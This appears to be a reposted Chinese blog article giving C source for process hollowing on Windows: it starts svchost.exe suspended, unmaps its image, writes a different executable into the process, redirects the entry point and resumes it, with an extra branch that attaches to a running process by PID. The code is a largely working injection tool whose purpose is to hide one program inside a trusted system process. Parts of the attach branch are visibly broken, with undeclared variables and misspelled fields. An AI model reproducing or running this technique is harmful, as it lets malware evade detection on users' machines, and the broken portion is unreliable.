在进程空间中插入另一个进程的代码细节化

来源:互联网 发布:淘宝拍卖房产注意事项 编辑:程序博客网 时间:2024/05/03 17:23
 作者: vxk         
    在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术,
  不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的
  技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的......
*/
复制内容到剪贴板
代码:
#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
   unsigned long signature;
   unsigned short machine;
   unsigned short numSections;
   unsigned long timeDateStamp;
   unsigned long pointerToSymbolTable;
   unsigned long numOfSymbols;
   unsigned short sizeOfOptionHeader;
   unsigned short characteristics;
};

struct PE_ExtHeader
{
   unsigned short magic;
   unsigned char majorLinkerVersion;
   unsigned char minorLinkerVersion;
   unsigned long sizeOfCode;
   unsigned long sizeOfInitializedData;
   unsigned long sizeOfUninitializedData;
   unsigned long addressOfEntryPoint;
   unsigned long baseOfCode;
   unsigned long baseOfData;
   unsigned long imageBase;
   unsigned long sectionAlignment;
   unsigned long fileAlignment;
   unsigned short majorOSVersion;
   unsigned short minorOSVersion;
   unsigned short majorImageVersion;
   unsigned short minorImageVersion;
   unsigned short majorSubsystemVersion;
   unsigned short minorSubsystemVersion;
   unsigned long reserved1;
   unsigned long sizeOfImage;
   unsigned long sizeOfHeaders;
   unsigned long checksum;
   unsigned short subsystem;
   unsigned short DLLCharacteristics;
   unsigned long sizeOfStackReserve;
   unsigned long sizeOfStackCommit;
   unsigned long sizeOfHeapReserve;
   unsigned long sizeOfHeapCommit;
   unsigned long loaderFlags;
   unsigned long numberOfRVAAndSizes;
   unsigned long exportTableAddress;
   unsigned long exportTableSize;
   unsigned long importTableAddress;
   unsigned long importTableSize;
   unsigned long resourceTableAddress;
   unsigned long resourceTableSize;
   unsigned long exceptionTableAddress;
   unsigned long exceptionTableSize;
   unsigned long certFilePointer;
   unsigned long certTableSize;
   unsigned long relocationTableAddress;
   unsigned long relocationTableSize;
   unsigned long debugDataAddress;
   unsigned long debugDataSize;
   unsigned long archDataAddress;
   unsigned long archDataSize;
   unsigned long globalPtrAddress;
   unsigned long globalPtrSize;
   unsigned long TLSTableAddress;
   unsigned long TLSTableSize;
   unsigned long loadConfigTableAddress;
   unsigned long loadConfigTableSize;
   unsigned long boundImportTableAddress;
   unsigned long boundImportTableSize;
   unsigned long importAddressTableAddress;
   unsigned long importAddressTableSize;
   unsigned long delayImportDescAddress;
   unsigned long delayImportDescSize;
   unsigned long COMHeaderAddress;
   unsigned long COMHeaderSize;
   unsigned long reserved2;
   unsigned long reserved3;
};


struct SectionHeader
{
   unsigned char sectionName[8];
   unsigned long virtualSize;
   unsigned long virtualAddress;
   unsigned long sizeOfRawData;
   unsigned long pointerToRawData;
   unsigned long pointerToRelocations;
   unsigned long pointerToLineNumbers;
   unsigned short numberOfRelocations;
   unsigned short numberOfLineNumbers;
   unsigned long characteristics;
};

struct MZHeader
{
   unsigned short signature;
   unsigned short partPag;
   unsigned short pageCnt;
   unsigned short reloCnt;
   unsigned short hdrSize;
   unsigned short minMem;
   unsigned short maxMem;
   unsigned short reloSS;
   unsigned short exeSP;
   unsigned short chksum;
   unsigned short exeIP;
   unsigned short reloCS;
   unsigned short tablOff;
   unsigned short overlay;
   unsigned char reserved[32];
   unsigned long offsetToPE;
};


struct ImportDirEntry
{
   DWORD importLookupTable;
   DWORD timeDateStamp;
   DWORD fowarderChain;
   DWORD nameRVA;
   DWORD importAddressTable;
};

struct FixupBlock
{
   unsigned long pageRVA;
   unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
   DWORD baseAddr;
   DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
           SectionHeader **outSecHdr)
{
   fseek(fp, 0, SEEK_END);
   long fileSize = ftell(fp);
   fseek(fp, 0, SEEK_SET);

   if(fileSize < sizeof(MZHeader))
   {
      printf("File size too small/n");      
      return false;
   }

   // read MZ Header
   MZHeader mzH;
   fread(&mzH, sizeof(MZHeader), 1, fp);

   if(mzH.signature != 0x5a4d)      // MZ
   {
      printf("File does not have MZ header/n");
      return false;
   }

   printf("Offset to PE Header = %X/n", mzH.offsetToPE);

   if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
   {
      printf("File size too small/n");      
      return false;
   }

   // read PE Header
   fseek(fp, mzH.offsetToPE, SEEK_SET);
   PE_Header peH;
   fread(&peH, sizeof(PE_Header), 1, fp);

   printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
   printf("Number of sections = %d/n", peH.numSections);

   if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
   {
      printf("Unexpected option header size./n");
      
      return false;
   }

   // read PE Ext Header
   PE_ExtHeader peXH;

   fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

   printf("Import table address = %X/n", peXH.importTableAddress);
   printf("Import table size = %X/n", peXH.importTableSize);
   printf("Import address table address = %X/n", peXH.importAddressTableAddress);
   printf("Import address table size = %X/n", peXH.importAddressTableSize);


   // read the sections
   SectionHeader *secHdr = new SectionHeader[peH.numSections];

   fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

   *outMZ = mzH;
   *outPE = peH;
   *outpeXH = peXH;
   *outSecHdr = secHdr;

   return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                SectionHeader *inSecHdr)
{
   int result = 0;
   int alignment = inpeXH->sectionAlignment;

   if(inpeXH->sizeOfHeaders % alignment == 0)
      result += inpeXH->sizeOfHeaders;
   else
   {
      int val = inpeXH->sizeOfHeaders / alignment;
      val++;
      result += (val * alignment);
   }


   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].virtualSize)
      {
        if(inSecHdr[i].virtualSize % alignment == 0)
           result += inSecHdr[i].virtualSize;
        else
        {
           int val = inSecHdr[i].virtualSize / alignment;
           val++;
           result += (val * alignment);
        }
      }
   }

   return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{   
   if(curSize % alignment == 0)
      return curSize;
   else
   {
      int val = curSize / alignment;
      val++;
      return (val * alignment);
   }
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc)
{
   char *outPtr = (char *)ptrLoc;

   fseek(fp, 0, SEEK_SET);
   unsigned long headerSize = inpeXH->sizeOfHeaders;

   // certain PE files have sectionHeaderSize value > size of PE file itself.  
   // this loop handles this situation by find the section that is nearest to the
   // PE header.

   for(int i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].pointerToRawData < headerSize)
        headerSize = inSecHdr[i].pointerToRawData;
   }

   // read the PE header
   unsigned long readSize = fread(outPtr, 1, headerSize, fp);
   printf("HeaderSize = %d/n", headerSize);
   if(readSize != headerSize)
   {
      printf("Error reading headers (%d %d)/n", readSize, headerSize);
      return false;      
   }

   outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

   // read the sections
   for(i = 0; i < inPE->numSections; i++)
   {
      if(inSecHdr[i].sizeOfRawData > 0)
      {
        unsigned long toRead = inSecHdr[i].sizeOfRawData;
        if(toRead > inSecHdr[i].virtualSize)
           toRead = inSecHdr[i].virtualSize;

        fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
        readSize = fread(outPtr, 1, toRead, fp);

        if(readSize != toRead)
        {
           printf("Error reading section %d/n", i);
           return false;
        }
        outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
      else
      {
        // this handles the case where the PE file has an empty section. E.g. UPX0 section
        // in UPXed files.

        if(inSecHdr[i].virtualSize)
           outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
      }
   }

   return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
      long delta = newBase - inpeXH->imageBase;

      while(fixBlk->blockSize)
      {
        printf("Addr = %X/n", fixBlk->pageRVA);
        printf("Size = %X/n", fixBlk->blockSize);

        int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
        printf("Num Entries = %d/n", numEntries);

        unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

        for(int i = 0; i < numEntries; i++)
        {
           DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
           
           int relocType = (*offsetPtr & 0xF000) >> 12;
           
           printf("Val = %X/n", *offsetPtr);
           printf("Type = %X/n", relocType);

           if(relocType == 3)
              *codeLoc = ((DWORD)*codeLoc) + delta;
           else
           {
              printf("Unknown relocation type = %d/n", relocType);
           }
           offsetPtr++;
        }

        fixBlk = (FixupBlock *)offsetPtr;
      }
   }   
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


      
      
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
   STARTUPINFO si = {0};
   if(!EXPD)
      {
   if(CreateProcess(NULL, TARGETPROC,
              NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))      
   {
      ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);

      DWORD *pebInfo = (DWORD *)ctx->Ebx;
      DWORD read;
      ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
   
      DWORD curAddr = outChildProcInfo->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
      {
        if(memInfo.State == MEM_FREE)
           break;
        curAddr += memInfo.RegionSize;
      }
      outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

      return TRUE;
   }
   } else
   {
    DEBUG_EVENT DBEvent;
    if(DebugActiveProcess((DWORD)*PID))
    {
       WaitForDebugEvent(&DBEvent,INFINITE);
       pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
       pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
         ctx->ContextFlags=CONTEXT_FULL;
      GetThreadContext(pi->hThread, ctx);
      DWORD *pebInfo2 = (DWORD *)ctx->Fs;
      *pedInfo2+=0x30;
      DWORD read2;
      ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);
   
      DWORD curAddr2 = outChildProcInfo2->baseAddr;
      MEMORY_BASIC_INFORMATION memInfo2;
      while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
      {
        if(memInfo2.State == MEM_FREE)
           break;
        curAddr2+= memInfo2.RegionSize;
      }
      outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

      return TRUE;
      }
   }
   
   return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
   if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
   {
      return TRUE;
   }
   return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//   thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
   STARTUPINFO si = {0};
   PROCESS_INFORMATION pi;
   CONTEXT ctx;
   PROCINFO childInfo;
   
   if(createChild(&pi, &ctx, &childInfo))
   {      
      printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
      printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
      
      LPVOID v = (LPVOID)NULL;
      
      if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
      {
        // if new EXE has same baseaddr and is its size is <= to the original EXE, just
        // overwrite it in memory
        v = (LPVOID)childInfo.baseAddr;
        DWORD oldProtect;
        VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);        
        
        printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
      }
      else
      {
        // get address of ZwUnmapViewOfSection
        PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

        // try to unmap the original EXE image
        if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
        {
           // allocate memory for the new EXE image at the prefered imagebase.
           v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
           if(v)
              printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
        }
      }

      if(!v && hasRelocationTable(inpeXH))
      {
        // if unmap failed but EXE is relocatable, then we try to load the EXE at another
        // location
        v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(v)
        {
           printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

           // we&#39;ve got to do the relocation ourself if we load the image at another
           // memory location           
           doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
        }
      }

      printf("EIP = %X/n", ctx.Eip);
      printf("EAX = %X/n", ctx.Eax);
      printf("EBX = %X/n", ctx.Ebx);      // EBX points to PEB
      printf("ECX = %X/n", ctx.Ecx);
      printf("EDX = %X/n", ctx.Edx);
      
      if(v)
      {        
        printf("New EXE Image Size = %X/n", imageSize);
        
        // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
        DWORD *pebInfo = (DWORD *)ctx.Ebx;
        DWORD wrote;               
        WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

        // patch the base addr in the PE header of the EXE that we load ourselves
        PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
        peXH->imageBase = (DWORD)v;
        
        if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
        {   
           printf("New EXE image injected into process./n");

           ctx.ContextFlags=CONTEXT_FULL;           
           //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
           
           if((DWORD)v == childInfo.baseAddr)
           {
              ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }
           else
           {
              // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
              // performed.
              ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;      // eax holds new entry point
           }

           printf("********> EIP = %X/n", ctx.Eip);
           printf("********> EAX = %X/n", ctx.Eax);

           SetThreadContext(pi.hThread,&ctx);

           ResumeThread(pi.hThread);
           printf("Process resumed (PID = %d)./n", pi.dwProcessId);
        }
        else
        {
           printf("WriteProcessMemory failed/n");
           TerminateProcess(pi.hProcess, 0);
        }
      }
      else
      {
        printf("Load failed.  Consider making this EXE relocatable./n");
        TerminateProcess(pi.hProcess, 0);
      }
   }
   else
   {
      printf("Cannot load %s/n", TARGETPROC);
   }
}




int main(int argc, char* argv[])
{
   if((argc < 2 )||(argc > 3))
   {
      printf("/nUsage: %s  [pid]/n", argv[0]);
      return 1;
   }
      if(argc==3){
      alloc(PID,1024);
      memset(PID,0,1024);
      strcpy(PID,argv[2]);
      EXPD= True ;
      }
      
   FILE *fp = fopen(argv[1], "rb");
   if(fp)
   {
      MZHeader mzH;
      PE_Header peH;
      PE_ExtHeader peXH;
      SectionHeader *secHdr;

      if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
      {
        int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
        printf("Image Size = %X/n", imageSize);

        LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if(ptrLoc)
        {
           printf("Memory allocated at %X/n", ptrLoc);
           loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                
           
           doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                     
        }
        else
           printf("Allocation failed/n");
      }

      fclose(fp);
   }
   else
      printf("/nCannot open the EXE file!/n");

   return 0;
}
原创粉丝点击